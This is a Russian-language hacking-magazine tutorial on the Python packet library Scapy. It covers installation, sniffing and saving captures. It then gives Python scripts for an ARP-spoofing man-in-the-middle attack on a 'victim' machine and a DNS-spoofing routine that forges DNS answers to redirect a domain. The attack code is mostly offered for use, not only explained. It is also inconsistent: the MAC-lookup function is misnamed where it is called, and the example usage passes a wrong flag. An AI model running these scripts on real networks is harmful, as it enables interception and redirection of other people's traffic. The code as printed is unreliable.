Содержание статьи
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Вступительное слово
Доброго времени суток, дорогой Username, сегодня хотелось бы тебе рассказать об одной мощнейшей библиотеке для языка питон, которая также позиционируется как фреймворк. Имя ей Scapy. Данный инструмент предоставляет нам просто огромные возможности по работе с сетевыми технологиями. Например, он может собирать пакеты с последующей отправкой их в сеть, захватывать пакеты, а также читать их из сохраненного ранее дампа, исследовать сети и многое другое. Все перечисленное можно делать «в прямом эфире» (то есть из консоли питона) или же посредством написания скриптов. Разработка данной утилиты изначально велась под UNIX-подобные системы, однако запустить ее возможно и на операционных системах семейства Windows. Также она неплохо взаимодействует с другими библиотеками языка питон. Например, gnuplot поможет нам в построении графиков, визуализируя работу инструмента, — что немаловажно, ведь графического интерфейса Scapy не имеет.
www
Всю техническую документацию по использованию Scapy можно найти на официальном сайте проекта
Установка модуля Scapy
Ну что ж, приступим. Начать, я думаю, стоит с описания установки данной утилиты. Для ее работы нам потребуется установленный Python 2.6+, а также дополнительные библиотеки вроде pylibpcap
. Если установка производится на Linux и он основан на Debian, то установка сводится к одной команде apt-get
. Если же система основана на чем‑либо другом, то поможет следующая очередность команд:
wget scapy.net
unzip scapy-***.zip
cd scapy-2.*python setup.py install
Вместо первой команды также можно просто перейти по ссылке scapy.net, и тебе сразу предложат для загрузки самую свежую версию Scapy. Хочется также отметить, что последнюю команду, запускающую установку, стоит выполнять от имени суперпользователя, так как данная утилита работает на прикладном уровне и требует достаточно больших привилегий.
Ну что же, с установкой на Linux мы разобрались, но как же быть обладателям остальных ОС? Начнем, пожалуй, с обладателей техники, произведенной одной яблочной компанией. Для установки на ОС данного семейства нам придется вооружиться бубном. Первым делом установим MacPorts. Это достаточно мощная утилита, которая дает возможность установки софта, портированного с Linux. Очень подробную инструкцию по ее установке можно найти на официальном сайте проекта. Далее есть два пути развития событий. Первый предусматривает создание своего велосипеда (что мало привлекает), а во втором мы воспользуемся скриптом, уже написанным за нас замечательным человеком с ником 0x90 (привет, HardWare Village!). Найти его можно в репозитории на гитхабе. За скрипт автору огромное спасибо. Все, что нам необходимо сделать далее, — скопировать скрипт, выполнить его от имени пользователя root и дождаться отчета об успешной установке. В моем случае использовалась OS Х 10.10 — полет нормальный :).
Осталось у нас еще одно семейство ОС, которым, к сожалению, пользуются очень многие, — Windows. Для установки нам необходимо перейти на сайт разработчика и скачать последнюю версию Scapy, далее распаковать ее и в командной строке выполнить следующую команду:
python setup.py install
После окончания установки, чтобы проверить работоспособность мы запускаем интерпретатор питона и пишем команду import
. Стандартное окно Scapy, предлагающее начать ввод, представлено на рис. 1.
info
Пошаговый процесс установки Scapy под Windows можно изучить по следующему видео.
Как ты видишь, при отсутствии каких‑либо библиотек Scapy сразу же предупредит нас. На этом первый шаг укрощения змеи окончен, пора приступать к изучению самой утилиты.
Первое знакомство со Scapy
Для начала предлагаю ознакомиться с основным функционалом этого чудо‑комбайна. Одной из самых важных для новичка функций по праву можно считать ls(
. Выполнив ее, мы увидим список из более чем трехсот протоколов, поддерживаемых этой утилитой. Выглядит это примерно так, как изображено на рис. 2.
Однако так будет лишь в том случае, если функцию ls
выполнить без параметров, а вот если в качестве параметра указать имя какого‑либо протокола, то мы получим детальную информацию о его структуре (см. рис. 3).
Обычно наибольший интерес представляет список всех полей, которые можно изменить в процессе создания пакетов. Основной функционал инструмента можно посмотреть командой lsc(
— она выведет все имеющиеся в арсенале функции, но нам ведь этого мало, верно? Хотелось бы посмотреть мануал по функциям, и в этом нам поможет команда help(
, параметром которой можно указать что‑нибудь из полученного списка. Возьмем, например, help(
— она выдаст нам подробную информацию по функции sniff
(см. рис. 4):
Ну а теперь попробуем написать самый простой скрипт:
from scapy.all import *a=sniff(count=10)a.nsummary()
Число count
означает количество пакетов, которые мы будем слушать в эфире до окончания программы. В нашем случае это десять, но этот параметр не является обязательным, и если его не указать, то снифер будет работать до получения заветной комбинации ctrl
. Метод nsummary(
, в свою очередь, выводит достаточно подробную статистику о захваченном трафике. Я запускал получившийся скрипт с включенным Wi-Fi и вот что получил на выходе:
0003 RadioTap / 802.11 Management 8L c8:64:c7:37:48:fd > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID='byfly WIFI' / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt
Мы видим наш эфир, какие сети ловятся, MAC-адреса, а также SSID. В данном случае мы поймали Beacon-пакет от Wi-Fi-сети, имя которой byfly
, а MAC-адрес вещающей точки — c8:
, тип вещания 802.
. А теперь добавим в наш скрипт функцию wrpcap(
, которая, как можно догадаться, дает нам возможность записать захваченный трафик в файл.
wrpcap("our_dump.pcap",a)
Файл с именем our_dump.
создастся в директории с нашим скриптом, если не указан полный путь. Позже его можно будет проанализировать мощным инструментом под названием Wireshark, который можно запустить прямо из скрипта командой wireshark(
. Кстати говоря, про Wireshark есть достаточно крутая статья на хабре. Настоятельно рекомендую ознакомиться.
ARP spoofing c помощью ScaPy
Все это, конечно, интересно, но давай уже рассмотрим реальное применение этого инструмента. Для примера я выбрал одну из моих любимых атак — ARP poisoning, также известную под названием ARP spoofing. Перед тем как приступить к реализации, хотелось бы рассказать немного о самой атаке. На каждой машине в сети имеется такая вещь, как ARP-таблица, — она хранит соотношения IP-адресов машин в сети с их MAC-адресами. Суть атаки заключается в следующем: когда атакуемая машина посылает запрос на поиск роутера в сети, дабы отослать какую‑либо информацию, мы посылаем ей ложный пакет с данными, в которых говорится «мы и есть роутер», и весь трафик, который должен был идти напрямую в Сеть, идет туда, но уже через нас, то есть такой вариант реализации классической MITM-атаки.
Intercepter-NG
Считаю просто необходимым отметить один инструмент, где ARP spoofing атака реализована на высочайшем уровне, — Intercepter-NG, не раз упоминавшийся на страницах журнала. Посмотреть подробный гайд, а также скачать сам инструмент можно на официальном сайте.
Реализовывать атаку, как ты понял, мы будем на языке Python с использованием библиотеки Scapy. Для простоты я буду приводить части программного кода, а потом разбирать их. Первой частью, конечно же, будет
#!/usr/bin/pythonfrom scapy.all import *import argparseimport signalimport sysimport loggingimport time
В данной части, я думаю, никаких вопросов быть не должно, мы просто подключаем библиотеки вроде Scapy, системной и так далее.
def originalMAC(ip): ans,unans = srp(ARP(pdst=ip), timeout=5, retry=3) for s,r in ans: return r[Ether].src
Функция originalMAC
возвращает нам MAC-адрес для указанного IP-адреса.
def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-t", "--targetIP", help="Введите IP-адрес цели, напрмер: -t 192.168.1.5") parser.add_argument("-r", "--routerIP", help="Введите IP-адрес роутера, напрмер: -r 192.168.1.1") return parser.parse_args()
Ну а эта функция, как можно догадаться из названия, будет парсить аргументы из строки, когда мы будем вызывать нашу программу. У нас будет два аргумента: targetIP
и routerIP
. В них, соответственно, будут находиться адреса для будущей атаки. Для их задания при вызове нашего скрипта будут использоваться ключи -t
и -r
соответственно.
def poison(routerIP, targetIP, routerMAC, targetMAC): send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC)) send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))
А вот и сама функция «заражения». Ее аргументами будут IP- и MAC-адреса нашего роутера и «машины‑жертвы». В функции мы посылаем два ARP-пакета, в которых указываем необходимые адреса. О строении этого пакета можно подробнее узнать, используя команду lsc(
.
def restore(routerIP, targetIP, routerMAC, targetMAC): send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3) send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) sys.exit("Закрытие…")
restore
полностью аналогична функции poison
, однако выполняет обратную роль — она возвращает все наши MAC-адреса в ARP-таблице на правильные, проще говоря «обеззараживает».
def main(args): if os.geteuid() != 0: sys.exit("[!] Пожалуйста, запустите с правами root-пользователя") routerIP = args.routerIP targetIP = args.targetIP routerMAC = OrigialMac(args.routerIP) targetMAC = OriginalMac(args.targetIP) if routerMAC == None: sys.exit("Не найден мак-адрес роутера. Закрытие...") if targetMAC == None: sys.exit("Не найден мак-адрес цели. Закрытие...") with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf: ipf.write('1\n') def signal_handler(signal, frame): with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf: ipf.write('0\n') restore(routerIP, targetIP, routerMAC, targetMAC) signal.signal(signal.SIGINT, signal_handler) while 1: poison(routerIP, targetIP, routerMAC, targetMAC) time.sleep(1.5)main(parse_args())
Ну и последняя часть нашей программы — функция main(
, вызывается она, как ты успел заметить, с параметрами, парсинг которых мы описали немного ранее. Первым делом проверяем, от какого пользователя запущен наш скрипт. Как я уже говорил, нужны максимальные привилегии, так как работать приходится на низкосетевом уровне. Далее мы находим MAC-адреса нашей цели и роутера и, если все в порядке, запускаем заражение. Зараженные пакеты мы шлем в сеть каждые полторы секунды, чтобы цель не находила настоящий роутер. Запуск нашего скрипта будет производиться следующим образом:
python arpspoof.py -v 192.168.1.2 -r 192.168.1.1
Результат его работы можно посмотреть на рис. 5. Итак, атака в самом разгаре, остается только запустить снифер.
DNS spoofing
Ну а теперь попробуем заняться чем‑нибудь более сложным. Например... DNS-спуфингом. Суть данной атаки состоит в том, что мы атакуем DNS-кеш, в котором хранится соответствие между именами сайтов и их реальными IP-адресами, и подменяем адрес какого‑либо сервиса на свой. В результате все запросы, идущие на этот сервис, будут приходить атакующему. В этот раз я не стану описывать совершенно понятные части вроде импорта библиотек, а возьмем лишь самое вкусное. Хочу заметить, что скрипт я писал под Linux, и если тебе, username, захочется его протестировать на другой ОС, придется немного попотеть самому. Собственно, об этом и сообщает функция osCheck(
, проверяющая тип используемой ОС.
def osCheck(): if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') : print(' Отлично, ты используешь Linux, начнем') else: print(' Ваша ОС отлична от Linux… Выход… ') print(' Этот скрипт написан для ОС linux ') exit(0)
Далее перейдем к функции main(
. Первым делом нам необходимо поймать DNS-пакет (запрос к DNS-серверу), на питоне это будет выглядеть примерно так:
print(' Снифинг DNS-пакета... ')getDNSPacket = sniff(iface=argv[1], filter="dst port 53", count=1)
После поимки необходимо проверить, действительно ли это DNS-пакет. Затем убедиться, что это DNS-запрос (getDNSPacket[
), а не DNS-ответ (getDNSPacket[
) и что в нем запрашивается адрес какого‑либо одного домена ((
), а не чего‑то еще. Для наглядности мы выведем сообщение о поимке и поставим время поимки, собранное воедино условие будет выглядеть так:
if ( getDNSPacket[0].haslayer(DNS) ) and ( getDNSPacket[0].getlayer(DNS).qr == 0 ) and ( getDNSPacket[0].getlayer(DNS).qd.qtype == 1 ) and ( getDNSPacket[0].getlayer(DNS).qd.qclass== 1 ): print('\n Запрос получен в %s ' %ctime())
Далее мы разбираем полученный пакет на составляющие части и запоминаем их. Если взглянуть на программный код, выглядеть это будет так:
clientSrcIP = getDNSPacket[0].getlayer(IP).srcif getDNSPacket[0].haslayer(UDP) : clientSrcPort = getDNSPacket[0].getlayer(UDP).sport elif getDNSPacket[0].haslayer(TCP) : clientSrcPort = getDNSPacket[0].getlayer(TCP).sportclientDNSQueryID = getDNSPacket[0].getlayer(DNS).id...print(' IP отправителя:%s, \n порт отправления %d \n ID запроса:%d \n содержимое запроса:%d \n текущий DNS-сервер:%s \n Запрос:%s ' %(clientSrcIP,clientSrcPort,clientDNSQueryID,clientDNSQueryDataCount,clientDNSServer,clientDNSQuery))
Ну и наконец создаем поддельный пакет с помощью следующего кода:
DNS(id=clientDNSQueryID,qr=1,opcode=getDNSPacket[0].getlayer(DNS).opcode,aa=1,rd=0,ra=0,z=0,rcode=0,qdcount=clientDNSQueryDataCount,ancount=1,nscount=1,arcount=1,qd=DNSQR(qname=clientDNSQuery,qtype=getDNSPacket[0].getlayer(DNS).qd.qtype,qclass=getDNSPacket[0].getlayer(DNS).qd.qclass),an=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip(),ttl=86400),ns=DNSRR(rrname=clientDNSQuery,type=2,ttl=86400,rdata=argv[2]),ar=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip()))
Это и есть тот самый Packet Crafting в действии. На самом деле это только выглядит страшно, а составляется достаточно просто. Стоит лишь взглянуть на структуру пакета (помнишь, я рассказывал, как это сделать, в начале статьи) и подставить полученные из запроса данные, далее мы просто отсылаем этот пакет и делаем все описанные выше действия по кругу. Выполнение скрипта можно увидеть на рис. 6.
В заключение
Ну что же, дорогой username, вот мы и рассмотрели азы Scapy. Надеюсь, тебе понравилось. Подводя итог, хотелось бы еще раз напомнить, что это очень мощный и крутой инструмент для построения пакетов, их отлова, а также работы с сетью на любом уровне. Я считаю, что любой человек, увлекающийся ИБ, просто обязан ознакомиться с ним. Ах да, чуть не забыл, полные версии скриптов ты, как обычно, можешь найти на dvd.xakep.ru или забрать с моего блога. Надеюсь, скоро снова увидимся. И да, если у тебя возникнут вопросы, пиши: Andrey@dyatlov.in. Good luck!
www
- Проект снифера, написанного на Scapy для Mac OS Х